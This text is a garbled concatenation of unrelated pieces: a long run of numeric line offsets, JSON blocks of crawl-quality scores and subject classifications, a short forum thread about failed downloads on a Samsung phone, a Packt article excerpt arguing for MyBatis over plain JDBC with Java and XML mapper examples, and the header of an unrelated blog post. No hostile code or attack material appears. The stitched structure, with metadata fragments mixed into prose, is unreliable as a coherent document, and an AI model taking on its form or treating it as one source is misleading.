6507,
6508,
6519,
6520,
6583,
6584,
6585,
6601,
6626,
6645,
6675,
6705,
6715,
6718,
6730,
6759,
6787,
6816,
6819,
6837,
6856,
6875,
6894,
6913,
6933,
6953,
6971,
6991,
7011,
7031,
7051,
7054,
7103,
7117,
7122,
7213,
7267,
7281,
7288,
7291,
7298,
7347,
7372,
7522,
7611,
7625,
7632,
7635,
7642,
7645,
7675,
7705,
7757,
7782,
7802,
7805,
7830,
7867,
7881,
7891,
7895,
7925,
8013,
8022,
8025,
8049,
8076,
8111,
8131,
8145,
8155,
8158,
8184,
8211,
8238,
8266,
8274,
8300,
8333,
8366,
8392,
8402,
8407,
8416,
8417,
8425,
8426,
8427,
8447,
8467,
8487,
8507,
8527,
8547,
8567,
8587,
8607,
8627,
8647,
8667,
8687,
8688,
8728,
8768,
8808,
8848,
8888,
8928,
8968,
8969,
8994,
8995,
8996,
9004,
9005,
9049,
9073,
9079,
9080,
9186,
9187,
9233,
9234,
9235,
9245,
9246,
9250,
9263,
9282,
9304,
9312,
9330,
9336,
9337,
9340,
9341,
9342,
9352,
9353,
9373,
9386,
9392,
9393,
9396,
9397,
9398,
9408,
9409,
9413,
9426,
9448,
9449,
9452,
9453,
9454,
9464,
9465,
9469,
9483,
9505,
9506,
9589,
9590,
9644,
9645,
9646,
9656,
9657,
9677,
9689,
9697,
9698,
9699,
9709,
9710,
9732,
9745,
9769,
9782,
9788,
9801,
9809,
9810,
9832,
9833,
9834,
9842,
9843,
9868,
9888,
9906,
9925,
9986,
10049,
10089,
10110,
10129,
10141,
10168,
10180,
10181,
10190,
10191,
10245,
10246,
10247,
10261,
10262,
10334,
10335,
10392,
10393,
10394,
10412,
10413,
10460,
10461,
10462,
10479,
10480,
10531,
10532,
10533,
10548,
10549,
10678,
10679,
10680,
10715,
10716,
10773,
10774,
10775,
10806,
10807,
10911,
10912,
10913,
10942,
10943,
11095,
11096,
11097,
11116,
11118,
11138,
11140,
11180,
11182,
11216,
11217,
11228,
11229,
11230,
11243,
11245,
11267,
11269,
11290,
11327,
11346,
11358,
11359,
11392,
11393,
11394,
11401,
11404,
11433,
11436,
11451,
11462,
11485,
11488,
11498,
11511,
11514,
11529,
11557,
11560,
11570,
11583,
11586,
11604,
11646,
11649,
11659,
11672,
11675,
11686,
11712,
11724,
11725,
11821,
11822,
11999,
12000,
12020,
12021,
12022,
12046,
12098,
12152,
12205,
12217,
12218,
12367,
12368,
12369,
12426,
12483,
12538,
12594,
12653,
12711,
12771,
12828,
12829,
12880,
12881,
12882,
12907,
12949,
12991,
13029,
13069,
13115,
13159,
13207,
13250,
13262,
13263,
13278,
13279,
13328,
13329,
13330,
13338,
13339,
13351,
13352,
13382,
13383,
13432,
13433,
13451,
13452,
13479,
13480,
13678,
13679,
13680,
13688,
13689,
13702,
13703,
13711,
13724,
13732,
13733,
13763,
13764,
13815,
13816,
13846,
13847,
13862,
13863,
13984,
13985,
13986,
13994,
13995,
14006,
14007,
14016,
14017,
14027,
14028,
14039,
14040,
14053,
14054,
14067,
14068,
14080,
14081,
14096,
14097,
14107,
14108,
14253,
14254,
14255,
14271,
14288,
14307,
14322,
14341,
14360,
14392,
14404,
14428,
14438,
14446,
14461,
14467,
14468,
14604,
14605,
14606,
14622,
14656,
14673,
14692,
14733,
14753,
14761,
14767,
14774,
14790,
14791,
14890,
14891,
14892,
14904,
14921,
14943,
14960,
14992,
15000,
15006,
15007,
15169,
15170,
15190,
15191,
15324,
15325,
15326,
15334,
15335,
15346,
15347,
15429,
15430,
15431,
15447,
15454,
15456,
15470,
15479,
15494,
15505,
15513,
15526,
15536,
15571,
15598,
15617,
15633,
15646,
15673,
15697,
15708,
15730,
15755,
15764,
15772,
15779,
15785,
15813,
15820,
15822,
15823,
15845,
15846,
15904,
15905,
15906,
15914,
15915,
15928,
15929,
16001,
16002,
16003,
16030,
16032,
16052,
16054,
16079,
16096,
16104,
16164,
16174,
16176,
16196,
16222,
16224,
16244,
16270,
16272,
16284,
16285,
16342,
16343,
16344,
16364,
16366,
16415,
16418,
16444,
16459,
16489,
16508,
16525,
16532,
16535,
16563,
16578,
16608,
16627,
16644,
16651,
16654,
16657,
16691,
16694,
16709,
16712,
16740,
16743,
16757,
16760,
16798,
16837,
16874,
16893,
16903,
16947,
17011,
17023,
17026,
17040,
17043,
17065,
17068,
17082,
17083,
17091,
17092,
17093,
17110,
17129,
17130,
17152,
17198,
17199,
17213,
17214,
17264,
17265,
17266,
17274,
17275,
17280,
17281,
17313,
17314,
17529,
17530,
17539,
17540,
17541,
17546,
17547,
17557,
17569,
17619,
17633,
17645,
17646,
17653,
17654,
17670,
17671,
17720,
17721,
17762,
17825,
17837,
17838,
17846,
17847,
17848,
17886,
17924,
17962,
18000,
18038,
18076,
18114,
18152,
18190,
18228,
18229,
18259,
18312,
18365,
18418,
18471,
18524,
18577,
18630,
18683,
18736,
18789,
18842,
18895,
18896,
18898,
18899,
19198,
19199,
19210,
19211,
19212,
19224,
19235,
19254,
19255,
19335,
19336,
19399,
19400,
19420,
19421,
19552,
19553,
19562,
19563,
19564,
19574,
19593,
19605,
19634,
19648,
19660,
19661,
19669,
19670,
19671,
19675,
19683,
19691,
19699,
19707,
19715,
19719,
19727,
19735,
19743,
19751,
19759,
19760,
19783,
19784,
19785,
19793,
19803,
19804,
19820,
19839,
19876,
19888,
19889,
19897,
19898,
19899,
19903,
19911,
19919,
19927,
19935,
19943,
19947,
19955,
19963,
19971,
19979,
19987,
19988,
20016,
20017,
20126,
20127,
20128,
20136,
20137,
20165,
20183,
20193,
20194,
20205,
20206,
20207,
20220,
20229,
20239,
20260,
20277,
20287,
20289,
20325,
20327,
20347,
20357,
20372,
20424,
20435,
20452,
20470,
20486,
20505,
20517,
20529,
20542,
20563,
20573,
20574,
20582,
20583,
20584,
20588,
20596,
20638,
20639,
20650,
20651,
20652,
20662,
20677,
20692,
20709,
20719,
20721,
20741,
20743,
20757,
20769,
20781,
20794,
20808,
20822,
20838,
20848,
20849,
20857,
20858,
20859,
20862,
20865,
20867
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 20867,
"ccnet_original_nlines": 1079,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.17130573093891144,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.20909708738327026,
"rps_doc_frac_lines_end_with_ellipsis": 0.0009259299840778112,
"rps_doc_frac_no_alph_words": 0.3629780411720276,
"rps_doc_frac_unique_words": 0.2142379730939865,
"rps_doc_mean_word_length": 4.561162948608398,
"rps_doc_num_sentences": 298,
"rps_doc_symbol_to_word_ratio": 0.027834350243210793,
"rps_doc_unigram_entropy": 5.610644340515137,
"rps_doc_word_count": 2992,
"rps_doc_frac_chars_dupe_10grams": 0.1235436424612999,
"rps_doc_frac_chars_dupe_5grams": 0.2268630564212799,
"rps_doc_frac_chars_dupe_6grams": 0.20092327892780304,
"rps_doc_frac_chars_dupe_7grams": 0.17212574183940887,
"rps_doc_frac_chars_dupe_8grams": 0.1608412116765976,
"rps_doc_frac_chars_dupe_9grams": 0.15373341739177704,
"rps_doc_frac_chars_top_2gram": 0.008793139830231667,
"rps_doc_frac_chars_top_3gram": 0.009965560398995876,
"rps_doc_frac_chars_top_4gram": 0.015387999825179577,
"rps_doc_books_importance": -2186.24951171875,
"rps_doc_books_importance_length_correction": -2186.24951171875,
"rps_doc_openwebtext_importance": -985.3848876953125,
"rps_doc_openwebtext_importance_length_correction": -985.3848876953125,
"rps_doc_wikipedia_importance": -829.6641845703125,
"rps_doc_wikipedia_importance_length_correction": -829.6641845703125
},
"fasttext": {
"dclm": 0.5231566429138184,
"english": 0.6709039211273193,
"fineweb_edu_approx": 2.5357439517974854,
"eai_general_math": 0.9495185613632202,
"eai_open_web_math": 0.5541014671325684,
"eai_web_code": 0.9868267178535461
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-2,533,587,360,512,135,000 |
Failed downloads
Bmwillz
Well-known member
Mar 18, 2011
138
3
0
Visit site
Has anyone noticed a lot more failed downloads. My original epic was able to download roms music videos etc. This version seems to fail an awful lot
Sent from my SPH-D710 using Tapatalk
Marley
Well-known member
Aug 23, 2010
94
3
0
Visit site
I've noticed that a lot of mine have been failing if I either turn my screen off or the screen turns off from being idle. If I keep touching my screen while downloading or the screen doesn't shut off it never fails...
Sent from my SPH-D710
Bmwillz
Well-known member
Mar 18, 2011
138
3
0
Visit site
I'm guessing it has to do with samsung wanting you to use kies to transfer everything. Not cool if this is the case.
Sent from my SPH-D710 using Tapatalk
Forum statistics
Threads
943,023
Messages
6,916,937
Members
3,158,784
Latest member
sterrekroesbergen
|
{
"url": "https://forums.androidcentral.com/threads/failed-downloads.121464/",
"source_domain": "forums.androidcentral.com",
"snapshot_id": "CC-MAIN-2024-18",
"warc_metadata": {
"Content-Length": "124920",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:XIJQUWHLTK4RTG7R77UQP7AOFTJTUML4",
"WARC-Concurrent-To": "<urn:uuid:448e5004-c8e2-4859-8229-4a2ca7a9b123>",
"WARC-Date": "2024-04-21T01:16:54Z",
"WARC-IP-Address": "207.246.106.84",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:OYQOAUGIF5HMUUGU3EQFIBZTYCXNZXVR",
"WARC-Record-ID": "<urn:uuid:daa195d7-b5fe-4c36-a6af-4722e4637e76>",
"WARC-Target-URI": "https://forums.androidcentral.com/threads/failed-downloads.121464/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:2e8843f3-030d-4521-a7eb-f5a955d3855d>"
},
"warc_info": "isPartOf: CC-MAIN-2024-18\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for April 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-192\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
17,
18,
26,
27,
45,
58,
62,
64,
66,
77,
226,
227,
264,
266,
267,
274,
275,
293,
306,
309,
311,
313,
324,
542,
543,
565,
567,
568,
576,
577,
595,
608,
612,
614,
616,
627,
744,
745,
782,
784,
785,
802,
803,
811,
819,
828,
838,
846,
856,
870
],
"line_end_idx": [
17,
18,
26,
27,
45,
58,
62,
64,
66,
77,
226,
227,
264,
266,
267,
274,
275,
293,
306,
309,
311,
313,
324,
542,
543,
565,
567,
568,
576,
577,
595,
608,
612,
614,
616,
627,
744,
745,
782,
784,
785,
802,
803,
811,
819,
828,
838,
846,
856,
870,
887
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 887,
"ccnet_original_nlines": 50,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.30890050530433655,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.052356019616127014,
"rps_doc_frac_lines_end_with_ellipsis": 0.019607840105891228,
"rps_doc_frac_no_alph_words": 0.2408376932144165,
"rps_doc_frac_unique_words": 0.6363636255264282,
"rps_doc_mean_word_length": 4.49350643157959,
"rps_doc_num_sentences": 7,
"rps_doc_symbol_to_word_ratio": 0.00523559981957078,
"rps_doc_unigram_entropy": 4.4274187088012695,
"rps_doc_word_count": 154,
"rps_doc_frac_chars_dupe_10grams": 0.13005779683589935,
"rps_doc_frac_chars_dupe_5grams": 0.21676300466060638,
"rps_doc_frac_chars_dupe_6grams": 0.21676300466060638,
"rps_doc_frac_chars_dupe_7grams": 0.13005779683589935,
"rps_doc_frac_chars_dupe_8grams": 0.13005779683589935,
"rps_doc_frac_chars_dupe_9grams": 0.13005779683589935,
"rps_doc_frac_chars_top_2gram": 0.06502889841794968,
"rps_doc_frac_chars_top_3gram": 0.030346820130944252,
"rps_doc_frac_chars_top_4gram": 0.04768785834312439,
"rps_doc_books_importance": -88.24202728271484,
"rps_doc_books_importance_length_correction": -88.24202728271484,
"rps_doc_openwebtext_importance": -53.00954055786133,
"rps_doc_openwebtext_importance_length_correction": -45.17680358886719,
"rps_doc_wikipedia_importance": -41.41257095336914,
"rps_doc_wikipedia_importance_length_correction": -41.41257095336914
},
"fasttext": {
"dclm": 0.026954470202326775,
"english": 0.9421445727348328,
"fineweb_edu_approx": 0.6893956065177917,
"eai_general_math": 0.00004076999903190881,
"eai_open_web_math": 0.009128930047154427,
"eai_web_code": 0.0002769799903035164
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "004.6",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "621.392",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Engineering",
"level_3": "Mechanical engineering and Machinery"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "5",
"label": "Comment Section"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "2",
"label": "Partially Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-4,468,402,612,818,354,000 |
Why MyBatis
Getting started with the MYBatis framework is greatly simplified with this step-by-step guide that’s packed with practical exercises. Now you can quickly and confidently take your Java capabilities into the arena of data persistence.
(For more resources related to this topic, see here.)
Eliminates a lot of JDBC boilerplate code
Java has a Java DataBase Connectivity (JDBC) API to work with relational databases. But JDBC is a very low-level API, and we need to write a lot of code to perform database operations.
Let us examine how we can implement simple insert and select operations on a STUDENTS table using plain JDBC.
Assume that the STUDENTS table has STUD_ID, NAME, EMAIL, and DOB columns.
The corresponding Student JavaBean is as follows:
package com.mybatis3.domain; import java.util.Date; public class Student { private Integer studId; private String name; private String email; private Date dob; // setters and getters }
The following StudentService.java program implements the SELECT and INSERT operations on the STUDENTS table using JDBC.
public Student findStudentById(int studId) { Student student = null; Connection conn = null; try{ //obtain connection conn = getDatabaseConnection(); String sql = "SELECT * FROM STUDENTS WHERE STUD_ID=?"; //create PreparedStatement PreparedStatement pstmt = conn.prepareStatement(sql); //set input parameters pstmt.setInt(1, studId); ResultSet rs = pstmt.executeQuery(); //fetch results from database and populate into Java objects if(rs.next()) { student = new Student(); student.setStudId(rs.getInt("stud_id")); student.setName(rs.getString("name")); student.setEmail(rs.getString("email")); student.setDob(rs.getDate("dob")); } } catch (SQLException e){ throw new RuntimeException(e); }finally{ //close connection if(conn!= null){ try { conn.close(); } catch (SQLException e){ } } } return student; } public void createStudent(Student student) { Connection conn = null; try{ //obtain connection conn = getDatabaseConnection(); String sql = "INSERT INTO STUDENTS(STUD_ID,NAME,EMAIL,DOB) VALUES(?,?,?,?)"; //create a PreparedStatement PreparedStatement pstmt = conn.prepareStatement(sql); //set input parameters pstmt.setInt(1, student.getStudId()); pstmt.setString(2, student.getName()); pstmt.setString(3, student.getEmail()); pstmt.setDate(4, new java.sql.Date(student.getDob().getTime())); pstmt.executeUpdate(); } catch (SQLException e){ throw new RuntimeException(e); }finally{ //close connection if(conn!= null){ try { conn.close(); } catch (SQLException e){ } } } } protected Connection getDatabaseConnection() throws SQLException { try{ Class.forName("com.mysql.jdbc.Driver"); return DriverManager.getConnection ("jdbc:mysql://localhost:3306/test", "root", "admin"); } catch (SQLException e){ throw e; } catch (Exception e){ throw new RuntimeException(e); } }
There is a lot of duplicate code in each of the preceding methods, for creating a connection, creating a statement, setting input parameters, and closing the resources, such as the connection, statement, and result set.
MyBatis abstracts all these common tasks so that the developer can focus on the really important aspects, such as preparing the SQL statement that needs to be executed and passing the input data as Java objects.
In addition to this, MyBatis automates the process of setting the query parameters from the input Java object properties and populates the Java objects with the SQL query results as well.
Now let us see how we can implement the preceding methods using MyBatis:
1. Configure the queries in a SQL Mapper config file, say StudentMapper.xml.
<select id="findStudentById" parameterType="int" resultType=" Student"> SELECT STUD_ID AS studId, NAME, EMAIL, DOB FROM STUDENTS WHERE STUD_ID=#{Id} </select> <insert id="insertStudent" parameterType="Student"> INSERT INTO STUDENTS(STUD_ID,NAME,EMAIL,DOB) VALUES(#{studId},#{name},#{email},#{dob}) </insert>
2. Create a StudentMapper interface.
public interface StudentMapper { Student findStudentById(Integer id); void insertStudent(Student student); }
3. In Java code, you can invoke these statements as follows:
SqlSession session = getSqlSessionFactory().openSession(); StudentMapper mapper = session.getMapper(StudentMapper.class); // Select Student by Id Student student = mapper.selectStudentById(1); //To insert a Student record mapper.insertStudent(student);
That's it! You don't need to create the Connection, PrepareStatement, extract, and set parameters and close the connection by yourself for every database operation. Just configure the database connection properties and SQL statements, and MyBatis will take care of all the ground work.
Don't worry about what SqlSessionFactory, SqlSession, and Mapper XML files are.
Along with these, MyBatis provides many other features that simplify the implementation of persistence logic.
• It supports the mapping of complex SQL result set data to nested object graph structures
• It supports the mapping of one-to-one and one-to-many results to Java objects
• It supports building dynamic SQL queries based on the input data
Low learning curve
One of the primary reasons for MyBatis' popularity is that it is very simple to learn and use because it depends on your knowledge of Java and SQL. If developers are familiar with Java and SQL, they will fnd it fairly easy to get started with MyBatis.
Works well with legacy databases
Sometimes we may need to work with legacy databases that are not in a normalized form. It is possible, but diffcult, to work with these kinds of legacy databases with fully-fedged ORM frameworks such as Hibernate because they attempt to statically map Java objects to database tables.
MyBatis works by mapping query results to Java objects; this makes it easy for MyBatis to work with legacy databases. You can create Java domain objects following the object-oriented model, execute queries
Embraces SQL
Full-fedged ORM frameworks such as Hibernate encourage working with entity objects and generate SQL queries under the hood. Because of this SQL generation, we may not be able to take advantage of database-specifc features. Hibernate allows to execute native SQLs, but that might defeat the promise of a database-independent persistence.
The MyBatis framework embraces SQL instead of hiding it from developers. As MyBatis won't generate any SQLs and developers are responsible for preparing the queries, you can take advantage of database-specifc features and prepare optimized SQL queries. Also, working with stored procedures is supported by MyBatis.
Supports integration with Spring and Guice frameworks
MyBatis provides out-of-the-box integration support for the popular dependency injection frameworks Spring and Guice; this further simplifes working with MyBatis.
Supports integration with third-party cache libraries
MyBatis has inbuilt support for caching SELECT query results within the scope of SqlSession level ResultSets. In addition to this, MyBatis also provides integration support for various third-party cache libraries, such as EHCache, OSCache, and Hazelcast.
Better performance
Performance is one of the key factors for the success of any software application. There are lots of things to consider for better performance, but for many applications, the persistence layer is a key for overall system performance.
• MyBatis supports database connection pooling that eliminates the cost of creating a database connection on demand for every request.
• MyBatis has an in-built cache mechanism which caches the results of SQL queries at the SqlSession level. That is, if you invoke the same mapped select query, then MyBatis returns the cached result instead of querying the database again.
• MyBatis doesn't use proxying heavily and hence yields better performance compared to other ORM frameworks that use proxies extensively.
There are no one-size-fits-all solutions in software development. Each application has a different set of requirements, and we should choose our tools and frameworks based on application needs. In the previous section, we have seen various advantages of using MyBatis. But there will be cases where MyBatis may not be the ideal or best solution.If your application is driven by an object model and wants to generate SQL dynamically, MyBatis may not be a good ft for you. Also, if you want to have a transitive persistence mechanism (saving the parent object should persist associated child objects as well) for your application, Hibernate will be better suited for it.
Installing and configuring MyBatis
We are assuming that the JDK 1.6+ and MySQL 5 database servers have been installed on your system. The installation process of JDK and MySQL is outside the scope of this article.
At the time of writing this article, the latest version of MyBatis is MyBatis 3.2.2. Even though it is not mandatory to use IDEs, such as Eclipse, NetBeans IDE, or IntelliJ IDEA for coding, they greatly simplify development with features such as handy autocompletion, refactoring, and debugging. You can use any of your favorite IDEs for this purpose.
This section explains how to develop a simple Java project using MyBatis:
• By creating a STUDENTS table and inserting sample data
• By creating a Java project and adding mybatis-3.2.2.jar to the classpath
• By creating the mybatis-config.xml and StudentMapper.xml configuration files
• By creating the MyBatisSqlSessionFactory singleton class
• By creating the StudentMapper interface and the StudentService classes
• By creating a JUnit test for testing StudentService
Summary
In this article, we discussed about MyBatis and the advantages of using MyBatis instead of plain JDBC for database access.
Resources for Article :
Further resources on this subject:
Books to Consider
comments powered by Disqus
X
An Introduction to 3D Printing
Explore the future of manufacturing and design - read our guide to 3d printing for free
|
{
"url": "https://www.packtpub.com/books/content/why-mybatis",
"source_domain": "www.packtpub.com",
"snapshot_id": "crawl=CC-MAIN-2015-14",
"warc_metadata": {
"Content-Length": "60351",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:FR7I5EKAKLUN44IZVMU37WSFCZGBNOOZ",
"WARC-Concurrent-To": "<urn:uuid:f2ce37e9-64c3-4a6e-b3cb-44dd015fd31a>",
"WARC-Date": "2015-03-31T17:21:30Z",
"WARC-IP-Address": "83.166.169.231",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:ASQDH4DU5KP43KT64552GWZMRDZ4EI44",
"WARC-Record-ID": "<urn:uuid:8c7e1651-9a3c-4bf1-ba8e-cc0abf49f564>",
"WARC-Target-URI": "https://www.packtpub.com/books/content/why-mybatis",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:d5140cd5-8d03-4478-b5ec-36753683fc88>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-168-14-71.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2015-14\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for March 2015\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
12,
13,
247,
248,
302,
303,
345,
346,
531,
532,
642,
643,
717,
718,
768,
769,
954,
955,
1075,
1076,
2846,
2847,
3067,
3068,
3280,
3281,
3469,
3470,
3543,
3544,
3623,
3624,
3936,
3937,
3976,
3977,
4090,
4091,
4154,
4155,
4412,
4413,
4699,
4700,
4780,
4781,
4891,
4892,
4985,
5067,
5136,
5137,
5156,
5157,
5409,
5410,
5443,
5444,
5729,
5730,
5936,
5937,
5950,
5951,
6288,
6289,
6604,
6605,
6659,
6660,
6823,
6824,
6878,
6879,
7134,
7135,
7154,
7155,
7389,
7390,
7527,
7768,
7908,
7909,
8578,
8579,
8614,
8615,
8794,
8795,
9147,
9148,
9222,
9223,
9282,
9359,
9440,
9501,
9576,
9632,
9633,
9641,
9642,
9765,
9766,
9790,
9791,
9792,
9827,
9828,
9829,
9847,
9848,
9875,
9877,
9878,
9909,
9910
],
"line_end_idx": [
12,
13,
247,
248,
302,
303,
345,
346,
531,
532,
642,
643,
717,
718,
768,
769,
954,
955,
1075,
1076,
2846,
2847,
3067,
3068,
3280,
3281,
3469,
3470,
3543,
3544,
3623,
3624,
3936,
3937,
3976,
3977,
4090,
4091,
4154,
4155,
4412,
4413,
4699,
4700,
4780,
4781,
4891,
4892,
4985,
5067,
5136,
5137,
5156,
5157,
5409,
5410,
5443,
5444,
5729,
5730,
5936,
5937,
5950,
5951,
6288,
6289,
6604,
6605,
6659,
6660,
6823,
6824,
6878,
6879,
7134,
7135,
7154,
7155,
7389,
7390,
7527,
7768,
7908,
7909,
8578,
8579,
8614,
8615,
8794,
8795,
9147,
9148,
9222,
9223,
9282,
9359,
9440,
9501,
9576,
9632,
9633,
9641,
9642,
9765,
9766,
9790,
9791,
9792,
9827,
9828,
9829,
9847,
9848,
9875,
9877,
9878,
9909,
9910,
9998
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 9998,
"ccnet_original_nlines": 118,
"rps_doc_curly_bracket": 0.005201039835810661,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2884918451309204,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.03941145911812782,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.23016290366649628,
"rps_doc_frac_unique_words": 0.37123990058898926,
"rps_doc_mean_word_length": 5.830521106719971,
"rps_doc_num_sentences": 109,
"rps_doc_symbol_to_word_ratio": 0.0026274300180375576,
"rps_doc_unigram_entropy": 5.58394193649292,
"rps_doc_word_count": 1363,
"rps_doc_frac_chars_dupe_10grams": 0.044293440878391266,
"rps_doc_frac_chars_dupe_5grams": 0.10192524641752243,
"rps_doc_frac_chars_dupe_6grams": 0.0732351765036583,
"rps_doc_frac_chars_dupe_7grams": 0.06744684278964996,
"rps_doc_frac_chars_dupe_8grams": 0.06744684278964996,
"rps_doc_frac_chars_dupe_9grams": 0.044293440878391266,
"rps_doc_frac_chars_top_2gram": 0.005285010207444429,
"rps_doc_frac_chars_top_3gram": 0.008305019699037075,
"rps_doc_frac_chars_top_4gram": 0.008682520128786564,
"rps_doc_books_importance": -947.076171875,
"rps_doc_books_importance_length_correction": -947.076171875,
"rps_doc_openwebtext_importance": -514.5836181640625,
"rps_doc_openwebtext_importance_length_correction": -514.5836181640625,
"rps_doc_wikipedia_importance": -374.754150390625,
"rps_doc_wikipedia_importance_length_correction": -374.754150390625
},
"fasttext": {
"dclm": 0.5181859135627747,
"english": 0.8206945657730103,
"fineweb_edu_approx": 2.520648717880249,
"eai_general_math": 0.5895320773124695,
"eai_open_web_math": 0.11355125904083252,
"eai_web_code": 0.8351667523384094
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.44",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-5,709,295,267,500,822,000 |
Caspershire Meta
Aizan's Secondary Blog
quick fix: fish function
Posted on 16 Nov 2018
